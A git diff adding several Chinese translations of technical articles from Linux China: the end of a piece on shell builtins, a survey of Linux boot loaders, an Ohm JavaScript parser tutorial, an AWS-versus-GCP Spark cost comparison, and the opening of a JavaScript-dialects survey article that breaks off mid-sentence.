+![](http://www.tecmint.com/wp-content/uploads/2016/08/Linux-Shell-Functions-Script.png) + +### 5. Linux Shell 内置命令 + +这些是在 shell 中内置的 Linux 命令,所以你无法在文件系统中找到它们。这些命令包括 `pwd`、`cd`、`bg`、`alias`、`history`、`type`、`source`、`read`、`exit` 等。 + +你可以通过下面展示的 `type` 命令来列出或检查 Linux 内置命令: + +``` +$ type pwd +pwd is a shell builtin +$ type cd +cd is a shell builtin +$ type bg +bg is a shell builtin +$ type alias +alias is a shell builtin +$ type history +history is a shell builtin +``` + +学习一些 Linux 内置命令用法: + +- [Linux 下 15 个 pwd 命令例子][2] +- [Linux 下 15 个 cd 命令例子][3] +- [了解 Linux 下 history 命令的威力][4] + +### 结论 + +作为一个 Linux 用户,知道你所运行的命令类型是很重要的。我相信,通过上面明确、简单并且易于理解的解释,包括一些相关的说明,你可能对 “[Linux 命令的不同种类][1]”有了很好的理解。 + +你也可以在下面的评论区提任何问题或补充意见,从而和我们取得联系。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/understanding-different-linux-shell-commands-usage/ + +作者:[Aaron Kili][a] +译者:[ucasFL](https://github.com/ucasFL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/different-types-of-linux-shells/ +[2]: http://www.tecmint.com/pwd-command-examples/ +[3]: http://www.tecmint.com/cd-command-in-linux/ +[4]: http://www.tecmint.com/history-command-examples/ +[5]: http://www.tecmint.com/category/linux-commands/ diff --git a/published/201609/20160828 4 Best Linux Boot Loaders.md b/published/201609/20160828 4 Best Linux Boot Loaders.md new file mode 100644 index 0000000000..5f9d8dd652 --- /dev/null +++ b/published/201609/20160828 4 Best Linux Boot Loaders.md @@ -0,0 +1,76 @@ +4 个最好的 Linux 引导程序 +================== + +当你打开你的机器,开机自检(POST)成功完成后,BIOS(基本输入输出系统)立即定位所配置的引导介质,并从 MBR(主引导记录)或 GUID(全局唯一标识符)分区表读取一些命令,这是引导介质的最前面 512 个字节内容。主引导记录(MBR)中包含两个重要的信息集合,第一个是引导程序,第二个是分区表。 + +### 什么是引导程序? + +引导程序(Boot Loader)是存储在 MBR(主引导记录)或 GUID(全局唯一标识符)分区表中的一个小程序,用于帮助把操作系统装载到内存中。如果没有引导程序,那么你的操作系统将不能够装载到内存中。 + +有一些我们可以随同 Linux 安装到系统上的引导程序,在这篇文章里,我将简要地谈论几个最好的可以与 Linux 一同工作的 Linux 引导程序。 + +### 1. GNU GRUB + +GNU GRUB 是一个非常受欢迎,也可能是用的最多的具有多重引导能力的 Linux 引导程序,它以原始的 Eirch Stefan Broleyn 发明的 GRUB(GRand Unified Bootlader)为基础。GNU GRUB 增强了原来的 GRUB,带来了一些改进、新的特性和漏洞修复。 + +重要的是,GRUB 2 现在已经取代了 GRUB。值得注意的是,GRUB 这个名字被重新命名为 GRUB Legacy,但没有活跃开发,不过,它可以用来引导老的系统,因为漏洞修复依然继续。 + +GRUB 具有下面一些显著的特性: + +- 支持多重引导 +- 支持多种硬件结构和操作系统,比如 Linux 和 Windows +- 提供一个类似 Bash 的交互式命令行界面,从而用户可以运行 GRUB 命令来和配置文件进行交互 +- 允许访问 GRUB 编辑器 +- 支持设置加密口令以确保安全 +- 支持从网络进行引导,以及一些次要的特性 + +访问主页: + +### 2. LILO(Linux 引导程序(LInux LOader)) + +LILO 是一个简单但强大且非常稳定的 Linux 引导程序。由于 GRUB 有很大改善和增加了许多强大的特性,越来越受欢迎,因此 LILO 在 Linux 用户中已经不是很流行了。 + +当 LILO 引导的时候,单词“LILO”会出现在屏幕上,并且每一个字母会在一个特定的事件发生前后出现。然而,从 2015 年 12 月开始,LILO 的开发停止了,它有许多特性比如下面列举的: + +- 不提供交互式命令行界面 +- 支持一些错误代码 +- 不支持网络引导(LCTT 译注:其变体 ELILO 支持 TFTP/DHCP 引导) +- 所有的文件存储在驱动的最开始 1024 个柱面上 +- 面临 BTFS、GTP、RAID 等的限制 + +访问主页: + +### 3. BURG - 新的引导程序 + +基于 GRUB,BURG 是一个相对来说比较新的引导程序(LCTT 译注:已于 2011 年停止了开发)。由于 BURG 起源于 GRUB, 所以它带有一些 GRUB 主要特性。尽管如此, BURG 也提供了一些出色的特性,比如一种新的对象格式可以支持包括 Linux、Windows、Mac OS、 FreeBSD 等多种平台。 + +另外,BURG 支持可高度配置的文本和图标模式的引导菜单,计划增加的“流”支持未来可以不同的输入/输出设备一同工作。 + +访问主页: + +### 4. Syslinux + +Syslinux 是一种能从光盘驱动器、网络等进行引导的轻型引导程序。Syslinux 支持诸如 MS-DOS 上的 FAT、 Linux 上的 ext2、ext3、ext4 等文件系统。Syslinux 也支持未压缩的单一设备上的 Btrfs。 + +注意由于 Syslinux 仅能访问自己分区上的文件,因此不具备多重文件系统引导能力。 + +访问主页: + +### 结论 + +一个引导程序允许你在你的机器上管理多个操作系统,并在某个的时间选择其中一个使用。没有引导程序,你的机器就不能够装载内核以及操作系统的剩余部分。 + +我们是否遗漏了任何一流的 Linux 引导程序?如果有请让我们知道,请在下面的评论表中填入值得推荐的 Linux 系统引导程序。 + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/best-linux-boot-loaders/ + +作者:[Aaron Kili][a] +译者:[ucasFL](https://github.com/ucasFL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/best-linux-boot-loaders/ diff --git a/published/201609/20160830 Ohm JavaScript Parser that Create a Language in 200 Lines of Code.md b/published/201609/20160830 Ohm JavaScript Parser that Create a Language in 200 Lines of Code.md new file mode 100644 index 0000000000..88d42c5c98 --- /dev/null +++ b/published/201609/20160830 Ohm JavaScript Parser that Create a Language in 200 Lines of Code.md @@ -0,0 +1,265 @@ +Ohm:用两百行 JavaScript 创造你自己的编程语言 +========== + +![](https://www.pubnub.com/wp-content/uploads/2016/08/ohm-banner.jpg) + +解析器是一种超级有用的软件库。从概念上简单的说,它们的实现很有挑战性,并且在计算机科学中经常被认为是黑魔法。在这个系列的博文中,我会向你们展示为什么你不需要成为哈利波特就能够精通解析器这种魔法。但是为了以防万一带上你的魔杖吧! + +我们将探索一种叫做 Ohm 的新的开源库,它使得搭建解析器很简单并且易于重用。在这个系列里,我们使用 Ohm 去识别数字,构建一个计算器等等。在这个系列的最后你将已经用不到 200 行的代码发明了一种完整的编程语言。这个强大的工具将让你能够做到一些你可能过去认为不可能的事情。 + +###为什么解析器很困难? + +解析器非常有用。在很多时候你可能需要一个解析器。或许有一种你需要处理的新的文件格式,但还没有人为它写了一个库;又或许你发现了一种古老格式的文件,但是已有的解析器不能在你的平台上构建。我已经看到这样的事发生无数次。 Code 在或者不在, Data 就在那里,不增不减。 + +从根本上来说,解析器很简单:只是把一个数据结构转化成另一个。所以你会不会觉得你要是邓布利多校长就好了? + +解析器历来是出奇地难写,所面临的挑战是绝大多数现有的工具都很老,并且需要一定的晦涩难懂的计算机科学知识。如果你在大学里上过编译器课程,那么课本里也许还有从上世纪七十年传下来的技术。幸运的是,解析器技术从那时候起已经提高了很多。 + +典型的,解析器是通过使用一种叫作[形式语法(formal grammar)][1]的特殊语法来定义你想要解析的东西来创造的,然后你需要把它放入像 [Bison][2] 和 [Yacc][3] 的工具中,这些工具能够产生一堆 C 代码,这些代码你需要修改或者链接到你实际写入的编程语言中。另外的选择是用你更喜欢的语言亲自动手写一个解析器,这很慢且很容易出错,在你能够真正使用它之前还有许多额外的工作。 + +想像一下,是否你关于你想要解析的东西的语法描述也是解析器?如果你能够只是直接运行这些语法,然后仅在你需要的地方增加一些挂钩(hook)呢?那就是 Ohm 所可以做到的事。 + +### Ohm 简介 + +[Ohm][4]是一种新的解析系统。它类似于你可能已经在课本里面看到过的语法,但是它更强大,使用起来更简单。通过 Ohm, 你能够使用一种灵活的语法在一个 .ohm 文件中来写你自己的格式定义,然后使用你的宿主语言把语义加入到里面。在这篇博文里,我们将用 JavaScript 作为宿主语言。 + +Ohm 建立于一个为创造更简单、更灵活的解析器的多年研究基础之上。VPRI 的 [STEPS program (pdf)][5] 使用 Ohm 的前身 [Ometa][6] 为许多特殊的任务创造了专门的语言(比如一个有 400 行代码的平行制图描绘器)。 + +Ohm 有许多有趣的特点和符号,但是相比于全部解释它们,我认为我们只需要深入其中并构建一些东西就行了。 + +###解析整数 + +让我们来解析一些数字。这看起来会很简单,只需在一个文本串中寻找毗邻的数字,但是让我们尝试去处理所有形式的数字:整数和浮点数、十六进制数和八进制数、科学计数、负数。解析数字很简单,正确解析却很难。 + +亲自构建这个代码将会很困难,会有很多问题,会伴随有许多特殊的情况,比如有时会相互矛盾。正则表达式或许可以做的这一点,但是它会非常丑陋而难以维护。让我们用 Ohm 来试试。 + +用 Ohm 构建的解析器涉及三个部分:语法(grammar)、语义(semantics)和测试(tests)。我通常挑选问题的一部分为它写测试,然后构建足够的语法和语义来使测试通过。然后我再挑选问题的另一部分,增加更多的测试、更新语法和语义,从而确保所有的测试能够继续通过。即使我们有了新的强大的工具,写解析器从概念上来说依旧很复杂。测试是用一种合理的方式来构建解析器的唯一方法。现在,让我们开始工作。 + +我们将从整数开始。一个整数由一系列相互毗邻的数字组成。让我们把下面的内容放入一个叫做 grammar.ohm 的文件中: + +``` +CoolNums { + // just a basic integer + Number = digit+ +} +``` + +这创造了一条匹配一个或多个数字(`digit`)叫作 `Number` 的单一规则。`+` 意味着一个或更多,就在正则表达式中一样。当有一个或更多的数字时,这个规则将会匹配它们,如果没有数字或者有一些不是数字的东西将不会匹配。“数字(`digit`)”的定义是从 0 到 9 其中的一个字符。`digit` 也是像 `Number` 一样的规则,但是它是 Ohm 的其中一条构建规则因此我们不需要去定义它。如果我们想的话可以推翻它,但在这时候这没有任何意义,毕竟我们不打算去发明一种新的数。 + +现在,我们可以读入这个语法并用 Ohm 库来运行它。 + +把它放入 test1.js: + +``` +var ohm = require('ohm-js'); +var fs = require('fs'); +var assert = require('assert'); +var grammar = ohm.grammar(fs.readFileSync('src/blog_numbers/syntax1.ohm').toString()); +``` + +`Ohm.grammar` 调用将读入该文件并解析成一个语法对象。现在我们可以增加一些语义。把下面内容增加到你的 JavaScript 文件中: + +``` +var sem = grammar.createSemantics().addOperation('toJS', { + Number: function(a) { + return parseInt(this.sourceString,10); + } +}); +``` + +这通过 `toJS` 操作创造了一个叫作 `sem` 的语法集。这些语义本质上是一些对应到语法中每个规则的函数。每个函数当与之相匹配的语法规则被解析时将会被调用。上面的 `Number` 函数将会在语法中的 `Number` 规则被解析时被调用。语法(grammar)定义了在语言中这些代码是什么,语义(semantics)定义了当这些代码被解析时应该做什么。 + +语义函数能够做我们想做的任何事,比如打印出故障信息、创建对象,或者在任何子节点上递归调用 `toJS`。此时我们仅仅想把匹配的文本转换成真正的 JavaScript 整数。 + +所有的语义函数有一个内含的 `this` 对象,带有一些有用的属性。其 `source` 属性代表了输入文本中和这个节点相匹配的部分。`this.sourceString` 是一个匹配输入的串,调用内置在 JavaScript 中的 `parseInt` 函数会把这个串转换成一个数。传给 `parseInt` 的 `10` 这个参数告诉 JavaScript 我们输入的是一个以 `10` 为基底(10 进制)的数。如果少了这个参数, JavaScript 也会假定以 10 为基底,但是我们把它包含在里面因为后面我们将支持以 16 为基底的数,所以使之明确比较好。 + +既然我们有一些语法,让我们来实际解析一些东西看一看我们的解析器是否能够工作。如何知道我们的解析器可以工作?通过测试,许多许多的测试,每一个可能的边缘情况都需要一个测试。 + +使用标准的断言 `assert` API,以下这个测试函数能够匹配一些输入并运用我们的语义把它转换成一个数,然后把这个数和我们期望的输入进行比较。 + +``` + function test(input, answer) { + var match = grammar.match(input); + if(match.failed()) return console.log("input failed to match " + input + match.message); + var result = sem(match).toJS(); + assert.deepEqual(result,answer); + console.log('success = ', result, answer); + } +``` + +就是如此。现在我们能够为各种不同的数写一堆测试。如果匹配失败我们的脚本将会抛出一个例外。否则就打印成功信息。让我们尝试一下,把下面这些内容加入到脚本中: + +``` + test("123",123); + test("999",999); + test("abc",999); +``` + +然后用 `node test1.js` 运行脚本。 + +你的输出应该是这样: + +``` +success = 123 123 +success = 999 999 +input failed to match abcLine 1, col 1: +> 1 | abc + ^ +Expected a digit +``` + +真酷。正如预期的那样,前两个成功了,第三个失败了。更好的是,Ohm 自动给了我们一个很棒的错误信息指出匹配失败。 + +###浮点数 + +我们的解析器工作了,但是它做的工作不是很有趣。让我们把它扩展成既能解析整数又能解析浮点数。改变 grammar.ohm 文件使它看起来像下面这样: + +``` +CoolNums { + // just a basic integer + Number = float | int + int = digit+ + float = digit+ "." digit+ +} +``` + +这把 `Number` 规则改变成指向一个浮点数(`float`)或者一个整数(`int`)。这个 `|` 代表着“或”。我们把这个读成“一个 `Number` 由一个浮点数或者一个整数构成。”然后整数(`int`)定义成 `digit+`,浮点数(`float`)定义成 `digit+` 后面跟着一个句号然后再跟着另一个 `digit+`。这意味着在句号前和句号后都至少要有一个数字。如果一个数中没有一个句号那么它就不是一个浮点数,因此就是一个整数。 + +现在,让我们再次看一下我们的语义功能。由于我们现在有了新的规则所以我们需要新的功能函数:一个作为整数的,一个作为浮点数的。 + +``` +var sem = grammar.createSemantics().addOperation('toJS', { + Number: function(a) { + return a.toJS(); + }, + int: function(a) { + console.log("doing int", this.sourceString); + return parseInt(this.sourceString,10); + }, + float: function(a,b,c) { + console.log("doing float", this.sourceString); + return parseFloat(this.sourceString); + } +}); +``` + +这里有两件事情需要注意。首先,整数(`int`)、浮点数(`float`)和数(`Number`)都有相匹配的语法规则和函数。然而,针对 `Number` 的功能不再有任何意义。它接收子节点 `a` 然后返回该子节点的 `toJS` 结果。换句话说,`Number` 规则简单的返回相匹配的子规则。由于这是在 Ohm 中任何规则的默认行为,因此实际上我们不用去考虑 `Number` 的作用,Ohm 会替我们做好这件事。 + +其次,整数(`int`)有一个参数 `a`,然而浮点数有三个:`a`、`b` 和 `c`。这是由于规则的实参数量(arity)决定的。[实参数量(arity)][7] 意味着一个规则里面有多少参数。如果我们回过头去看语法,浮点数(`float`)的规则是: + +``` + float = digit+ "." digit+ +``` + +浮点数规则通过三个部分来定义:第一个 `digit+`、`.`、以及第二个 `digit+`。这三个部分都会作为参数传递给浮点数的功能函数。因此浮点数必须有三个参数,否则 Ohm 库会给出一个错误。在这种情况下我们不用在意参数,因为我们仅仅直接攫取了输入串,但是我们仍然需要参数列在那里来避免编译器错误。后面我们将实际使用其中一些参数。 + +现在我们可以为新的浮点数支持添加更多的测试。 + +``` +test("123",123); +test("999",999); +//test("abc",999); +test('123.456',123.456); +test('0.123',0.123); +test('.123',0.123); +``` + +注意最后一个测试将会失败。一个浮点数必须以一个数开始,即使它就是个 0,`.123` 不是有效的,实际上真正的 JavaScript 语言也有相同的规则。 + +###十六进制数 + +现在我们已经有了整数和浮点数,但是还有一些其它的数的语法最好可以支持:十六进制数和科学计数。十六进制数是以 16 为基底的整数。十六进制数的数字能从 0 到 9 和从 A 到 F。十六进制数经常用在计算机科学中,当用二进制数据工作时,你可以仅仅使用两个数字表示 0 到 255 的数。 + +在绝大多数源自 C 的编程语言(包括 JavaScript),十六进制数通过在前面加上 `0x` 来向编译器表明后面跟的是一个十六进制数。为了让我们的解析器支持十六进制数,我们只需要添加另一条规则。 + +``` + Number = hex | float | int + int = digit+ + float = digit+ "." digit+ + hex = "0x" hexDigit+ + hexDigit := "0".."9" | "a".."f" | "A".."F" +``` + +我实际上已经增加了两条规则。十六进制数(`hex`)表明它是一个 `0x` 后面一个或多个十六进制数字(`hexDigits`)的串。一个十六进制数字(`hexDigit`)是从 0 到 9,或从 a 到 f,或 A 到 F(包括大写和小写的情况)的一个字符。我也修改了 `Number` 规则来识别十六进制数作为另外一种可能的情况。现在我们只需要另一条针对十六进制数的功能规则。 + +``` + hex: function(a,b) { + return parseInt(this.sourceString,16); + } +``` + +注意到,在这种情况下,我们把 `16` 作为基底传递给 `parseInt`,因为我们希望 JavaScript 知道这是一个十六进制数。 + +我略过了一些很重要需要注意的事。`hexDigit` 的规则像下面这样: + +``` + hexDigit := "0".."9" | "a".."f" | "A".."F" +``` + +注意我使用的是 `:=` 而不是 `=`。在 Ohm 中,`:=` 是当你需要推翻一条规则的时候使用。这表明 Ohm 已经有了一条针对 `hexDigit` 的默认规则,就像 `digit`、`space` 等一堆其他的东西。如果我使用了 `=`, Ohm 将会报告一个错误。这是一个检查,从而避免我无意识的推翻一个规则。由于新的 `hexDigit` 规则和 Ohm 的构建规则一样,所以我们可以把它注释掉,然后让 Ohm 自己来实现它。我留下这个规则只是因为这样我们可以看到它实际上是如何进行的。 + +现在,我们可以添加更多的测试然后看到十六进制数真的能工作: + +``` +test('0x456',0x456); +test('0xFF',255); +``` + +###科学计数 + +最后,让我们来支持科学计数。科学计数是针对非常大或非常小的数的,比如 `1.8×10^3`。在大多数编程语言中,科学计数法表示的数会写成这样:1.8e3 表示 18000,或者 1.8e-3 表示 .018。让我们增加另外一对规则来支持这个指数表示: + +``` + float = digit+ "." digit+ exp? + exp = "e" "-"? digit+ +``` + +上面在浮点数规则末尾增加了一个指数(`exp`)规则和一个 `?`。`?` 表示没有或有一个,所以指数(`exp`)是可选的,但是不能超过一个。增加指数(`exp`)规则也改变了浮点数规则的实参数量,所以我们需要为浮点数功能增加另一个参数,即使我们不使用它。 + +``` + float: function(a,b,c,d) { + console.log("doing float", this.sourceString); + return parseFloat(this.sourceString); + }, +``` + +现在我们的测试可以通过了: + +``` +test('4.8e10',4.8e10); +test('4.8e-10',4.8e-10); +``` + +###结论 + +Ohm 是构建解析器的一个很棒的工具,因为它易于上手,并且你可以递增的增加规则。Ohm 也还有其他我今天没有写到的很棒的特点,比如调试观察仪和子类化。 + +到目前为止,我们已经使用 Ohm 来把字符串翻译成 JavaScript 数,并且 Ohm 经常用于把一种表示方式转化成另外一种。然而,Ohm 还有更多的用途。通过放入不同的语义功能集,你可以使用 Ohm 来真正处理和计算东西。一个单独的语法可以被许多不同的语义使用,这是 Ohm 的魔法之一。 + +在这个系列的下一篇文章中,我将向你们展示如何像真正的计算机一样计算像 `(4.85 + 5 * (238 - 68)/2)` 这样的数学表达式,不仅仅是解析数。 + +额外的挑战:你能够扩展语法来支持八进制数吗?这些以 8 为基底的数能够只用 0 到 7 这几个数字来表示,前面加上一个数字 0 或者字母 `o`。看看针对下面这些测试情况是够正确。下次我将给出答案。 + +``` +test('0o77',7*8+7); +test('0o23',0o23); +``` + +-------------------------------------------------------------------------------- + +via: https://www.pubnub.com/blog/2016-08-30-javascript-parser-ohm-makes-creating-a-programming-language-easy/ + +作者:[Josh Marinacci][a] +译者:[ucasFL](https://github.com/ucasFL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.pubnub.com/blog/author/josh/ +[1]: https://en.wikipedia.org/wiki/Formal_grammar +[2]: https://en.wikipedia.org/wiki/GNU_bison +[3]: https://en.wikipedia.org/wiki/Yacc +[4]: https://github.com/cdglabs/ohm +[5]: http://www.vpri.org/pdf/tr2012001_steps.pdf +[6]: http://tinlizzie.org/ometa/ +[7]: https://en.wikipedia.org/wiki/Arity \ No newline at end of file diff --git a/published/201609/20160830 Spark comparison - AWS vs. GCP.md b/published/201609/20160830 Spark comparison - AWS vs. GCP.md new file mode 100644 index 0000000000..f23a7ced66 --- /dev/null +++ b/published/201609/20160830 Spark comparison - AWS vs. GCP.md @@ -0,0 +1,80 @@ +AWS 和 GCP 的 Spark 技术哪家强? +============== + +> Tianhui Michael Li 和Ariel M’ndange-Pfupfu将在今年10月10、12和14号组织一个在线经验分享课程:[Spark 分布式计算入门][4]。该课程的内容包括创建端到端的运行应用程序和精通 Spark 关键工具。 + +毋庸置疑,云计算将会在未来数据科学领域扮演至关重要的角色。弹性,可扩展性和按需分配的计算能力作为云计算的重要资源,直接导致云服务提供商集体火拼。其中最大的两股势力正是[亚马逊网络服务(AWS)][1] 和[谷歌云平台(GCP)][2]。 + +本文依据构建时间和运营成本对 AWS 和 GCP 的 Spark 工作负载作一个简短比较。实验由我们的学生在数据孵化器(The Data Incubator)进行,[数据孵化器(The Data Incubator)][3]是一个大数据培训组织,专门为公司招聘顶尖数据科学家并为公司职员培训最新的大数据科学技能。尽管 Spark 效率惊人,分布式工作负载的时间和成本亦然可以大到不能忽略不计。因此我们一直努力寻求更高效的技术,以便我们的学生能够学习到最好和最快的工具。 + +### 提交 Spark 任务到云 + +[Spark][5] 是一个类 MapReduce 但是比 MapReduce 更灵活、更抽象的并行计算框架。Spark 提供 Python 和 Java 编程接口,但它更愿意用户使用原生的 Scala 语言进行应用程序开发。Scala 可以把应用程序和依赖文件打包在一个 JAR 文件从而使 Spark 任务提交变得简单。 + +通常情况下,Sprark 结合 HDFS 应用于分布式数据存储,而与 YARN 协同工作则应用于集群管理;这种堪称完美的配合使得 Spark 非常适用于 AWS 的弹性 MapReduce (EMR)集群和 GCP 的 Dataproc 集群。这两种集群都已有 HDFS 和 YARN 预配置,不需要额外进行配置。 + +### 配置云服务 + +通过命令行比通过网页界面管理数据、集群和任务具有更高的可扩展性。对 AWS 而言,这意味着客户需要安装 [CLI][6]。客户必须获得证书并为每个 EC2 实例创建[独立的密钥对][7]。除此之外,客户还需要为 EMR 用户和 EMR 本身创建角色(基本权限),主要是准入许可规则,从而使 EMR 用户获得足够多的权限(通常在 CLI 运行 `aws emr create-default-roles` 就可以)。 + +相比而言,GCP 的处理流程更加直接。如果客户选择安装 [Google Cloud SDK][8] 并且使用其 Google 账号登录,那么客户即刻可以使用 GCP 的几乎所有功能而无需其他任何配置。唯一需要提醒的是不要忘记通过 API 管理器启用计算引擎、Dataproc 和云存储 JSON 的 API。 + +当你安装你的喜好设置好之后,有趣的事情就发生了!比如可以通过`aws s3 cp`或者`gsutil cp`命令拷贝客户的数据到云端。再比如客户可以创建自己的输入、输出或者任何其他需要的 bucket,如此,运行一个应用就像创建一个集群或者提交 JAR 文件一样简单。请确定日志存放的地方,毕竟在云环境下跟踪问题或者调试 bug 有点诡异。 + +### 一分钱一分货 + +谈及成本,Google 的服务在以下几个方面更有优势。首先,购买计算能力的原始成本更低。4 个 vCPU 和 15G RAM 的 Google 计算引擎服务(GCE)每小时只需 0.20 美元,如果运行 Dataproc,每小时也只需区区 0.24 美元。相比之下,同等的云配置,AWS EMR 则需要每小时 0.336 美元。 + +其次,计费方式。AWS 按小时计费,即使客户只使用 15 分钟也要付足 1 小时的费用。GCP 按分钟计费,最低计费 10 分钟。在诸多用户案例中,资费方式的不同直接导致成本的巨大差异。 + +两种云服务都有其他多种定价机制。客户可以使用 AWS 的 Sport Instance 或 GCP 的 Preemptible Instance 来竞价它们的空闲云计算能力。这些服务比专有的、按需服务便宜,缺点是不能保证随时有可用的云资源提供服务。在 GCP 上,如果客户长时间(每月的 25% 至 100%)使用服务,可以获取更多折扣。在 AWS 上预付费或者一次购买大批量服务可以节省不少费用。底线是,如果你是一个超级用户,并且使用云计算已经成为一种常态,那么最好深入研究云计算,自己算计好成本。 + +最后,新手在 GCP 上体验云服务的费用较低。新手只需 300 美元信用担保,就可以免费试用 60 天 GCP 提供的全部云服务。AWS 只免费提供特定服务的特定试用层级,如果运行 Spark 任务,需要付费。这意味着初次体验 Spark,GCP 具有更多选择,也少了精打细算和讨价还价的烦恼。 + +### 性能比拼 + +我们通过实验检测一个典型 Spark 工作负载的性能与开销。实验分别选择 AWS 的 m3.xlarg 和 GCP 的 n1-standard-4,它们都是由一个 Master 和 5 个核心实例组成的集群。除了规格略有差别,虚拟核心和费用都相同。实际上它们在 Spark 任务的执行时间上也表现的惊人相似。 + +测试 Spark 任务包括对数据的解析、过滤、合并和聚合,这些数据来自公开的[堆栈交换数据转储(Stack Exchange Data Dump)][9]。通过运行相同的 JAR,我们首先对大约 50M 的数据子集进行[交叉验证][10],然后将验证扩大到大约 9.5G 的数据集。 + +![](https://d3ansictanv2wj.cloudfront.net/1400_img_1_AWS_GCP-25ed6069029112a8439d89999796be18.jpg) +>Figure 1. Credit: Michael Li and Ariel M'ndange-Pfupfu. + +![](https://d3ansictanv2wj.cloudfront.net/1400_img_2_AWS_GCP-448714718896b21e32f8b47d4657fc8c.jpg) +>Figure 2. Credit: Michael Li and Ariel M'ndange-Pfupfu. + +结果表明,短任务在 GCP 上具有明显的成本优势,这是因为 GCP 以分钟计费,并最终扣除了 10 分钟的费用,而 AWS 则收取了 1 小时的费用。但是即使长任务,因为计费方式占优,GPS 仍然具有相当优势。同样值得注意的是存储成本并不包括在此次比较当中。 + +###结论 + +AWS 是云计算的先驱,这甚至体现在 API 中。AWS 拥有巨大的生态系统,但其许可模型已略显陈旧,配置管理也有些晦涩难解。相比之下,Google 是云计算领域的新星并且将云计算服务打造得更加圆润自如。但是 GCP 缺少一些便捷的功能,比如通过简单方法自动结束集群和详细的任务计费信息分解。另外,其 Python 编程接口也不像 [AWS 的 Boto][11] 那么全面。 + +如果你初次使用云计算,GCP 因其简单易用,别具魅力。即使你已在使用 AWS,你也许会发现迁移到 GCP 可能更划算,尽管真正从 AWS 迁移到 GCP 的代价可能得不偿失。 + +当然,现在对两种云服务作一个全面的总结还非常困难,因为它们都不是单一的实体,而是由多个实体整合而成的完整生态系统,并且各有利弊。真正的赢家是用户。一个例证就是在数据孵化器(The Data Incubator),我们的博士数据科学研究员在学习分布式负载的过程中真正体会到成本的下降。虽然我们的[大数据企业培训客户][12]可能对价格不那么敏感,他们更在意能够更快速地处理企业数据,同时保持价格不增加。数据科学家现在可以享受大量的可选服务,这些都是从竞争激烈的云计算市场得到的实惠。 + + +-------------------------------------------------------------------------------- + +via: https://www.oreilly.com/ideas/spark-comparison-aws-vs-gcp + +作者:[Michael Li][a],[Ariel M'Ndange-Pfupfu][b] +译者:[firstadream](https://github.com/firstadream) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.oreilly.com/people/76a5b-michael-li +[b]: https://www.oreilly.com/people/Ariel-Mndange-Pfupfu +[1]: https://aws.amazon.com/ +[2]: https://cloud.google.com/ +[3]: https://www.thedataincubator.com/training.html?utm_source=OReilly&utm_medium=blog&utm_campaign=AWSvsGCP +[4]: http://www.oreilly.com/live-training/distributed-computing-with-spark.html?intcmp=il-data-olreg-lp-oltrain_20160828_new_site_spark_comparison_aws_gcp_post_top_note_training_link +[5]: http://spark.apache.org/ +[6]: http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-set-up.html +[7]: http://docs.aws.amazon.com/ElasticMapReduce/latest/DeveloperGuide/EMR_SetUp_KeyPair.html +[8]: https://cloud.google.com/sdk/#Quick_Start +[9]: https://archive.org/details/stackexchange +[10]: http://stats.stackexchange.com/ +[11]: https://github.com/boto/boto3 +[12]: https://www.thedataincubator.com/training.html?utm_source=OReilly&utm_medium=blog&utm_campaign=AWSvsGCP diff --git a/published/201609/20160830 The State Of JavaScript - JavaScript Flavors.md b/published/201609/20160830 The State Of JavaScript - JavaScript Flavors.md new file mode 100644 index 0000000000..2261426046 --- /dev/null +++ b/published/201609/20160830 The State Of JavaScript - JavaScript Flavors.md @@ -0,0 +1,99 @@ +JavaScript 现状:方言篇 +=========== + +JavaScript 和其他编程语言有一个很大的不同,它不像单纯的一个语言,而像一个由众多方言组成大家族。 + +从 2009 年 CoffeeScript 出现开始,近几年出现了大量基于 JavaScript 语言,或者叫方言,例如 ES6、TypeScript、Elm 等等。它们都有自己的优势,且都可以被完美编译成标准 JavaScript。 + +所以,继上周的前端框架篇,今天带来 JavaScript 现状之方言篇,看一下大家对于 JavaScript 的方言是怎么选择的。 + +> 声明:下面的部分结论来自部分数据,这是在我想要展示完整数据时找到的最好的办法,这便于我分享我的一些想法。 + +> 注意:如果你还没有参与[这个调查][3],现在就来参加吧,可以花十分钟完成调查然后再回来看这篇文章。 + +### 认知度 + +首先,我想看一下参与问卷调查的人是否**知道**下面六种语言: + +- 经典的 JavaScript: 97% +- ES6: 98% +- CoffeeScript: 99% +- TypeScript: 98% +- Elm: 66% +- ClojureScript: 77% + +你可能觉得 100% 的人都应该知道『经典的 JavaScript 』,我想是有人无法抵抗在一个 JavaScript 调查中投『我从来没有听说过 JavaScript 』这个选项的强大诱惑吧…… + +几乎所有人都知道 ES6、CoffeeScript 和 TypeScript 这三种语言,比较令我惊讶的是 TypeScript 竟然会稍微落后于 ES6 和 CoffeeScript。 + +另一方面,Elm 和 ClojureScript 得分就要低得多,当然这也有道理,因为它们跟自己的生态环境绑定的比较紧密,也很难在已有的 App 中进行使用。 + +### 兴趣度 + +接下来,让我们一起看一下,哪一种方言吸引新开发者的能力更强一些: + +![](https://d3ugvbs94d921r.cloudfront.net/57c4dc599973d2525fee820a.png?t=3efc9491eba2ce2) + +要注意,该表是统计该语言对从未使用过它们的用户的吸引度,因为只有很少人没有用过经典 JavaScript,所以『经典 JavaScript 』这一列的数值很低。 + +ES6的数值很有趣:已有很大比例的用户在使用 ES6 了,没有用过的人中的绝大部分(89%)也很想学习它。 + +TypeScript 和 Elm 的状态差不多:用过的人不多,但感兴趣的比例表现不错,分别是 53% 和 58%。 + +如果让我预测一下,那我觉得 TypeScript 和 Elm 都很难向普通的 JavaScript 开发者讲明自己的优势。毕竟如果开发者只懂 JavaScript 的话,你很难解释清楚静态类型的好处。 + +另外,只有很少开发者用过 CoffeeScript,而且很明显几乎没人想去学。我觉得我该写一本 12 卷厚的 